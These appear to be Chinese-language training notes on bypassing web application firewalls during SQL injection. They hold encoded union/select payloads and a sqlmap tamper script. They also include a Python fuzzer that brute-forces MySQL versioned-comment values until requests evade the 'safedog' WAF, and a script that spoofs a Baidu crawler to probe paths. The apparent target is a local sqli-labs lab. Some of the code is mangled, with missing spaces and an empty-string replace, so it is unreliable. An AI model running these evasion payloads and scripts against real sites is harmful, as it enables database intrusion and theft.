19.WEB漏洞-SQL注入之深入WAF注入绕过

WEB漏洞-SQL注入之深入WAF注入绕过

WAF绕过-SQL注入.png

第18讲中的知识点相关内容

数据库特性

%23x%0aunion%23x%0Aselect%201,2,3    
%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23

分析下句绕过了waf的原因

%20union%20/*!44509select*/%201,2,3

image (1).png

sqlmap脚本

一般情况下,sqlmap支持将注入语句中的参数输出时使用脚本进行替换,达到绕过waf的目的

temper脚本使用教程
https://blog.csdn.net/qq_34444097/article/details/82717357

FUZZ绕过脚本

#!/usr/bin/envpython

"""
Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__=PRIORITY.HIGHEST

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))

def tamper(payload,**kwargs):

#%23a%0aunion/*!44575select*/1,2,3
    if payload:
        payload=payload.replace("union","%23a%0aunion")
        payload=payload.replace("select","/*!44575select*/")
        payload=payload.replace("%20","%23a%0a")
        payload=payload.replace("","%23a%0a")
        payload=payload.replace("database()","database%23a%0a()")
    return payload

import requests,time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
    for xiaodi in a:
        for xiaodis in aa:
            for xiaodiss in aaa:
                for two in range(44500,44600):
                    urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao
diss+num
                    #urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
                    try:
                        result=requests.get(urls).text
                        len_r=len(result)
                        if (result.find('safedog')==-1):
                            #print('bypass url addreess：'+urls+'|'+str(len_r))
                             print('bypass url addreess：'+urls+'|'+str(len_r))
                        if len_r==715:
                             fp = open('url.txt','a+')
                             fp.write(urls+'\n')
                             fp.close()
                    except Exception as err:
                        print('connecting error')
                        time.sleep(0.1)
if__name__=='__main__':
    print('fuzz strat!')
    bypass()

伪造成百度爬虫脚本

import json
import requests

url='http://192.168.0.103:8080/'

head={
    'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
    data=data.replace('\n','')
    urls=url+data
    code=requests.get(urls).status_code
    print(urls+'|'+str(code))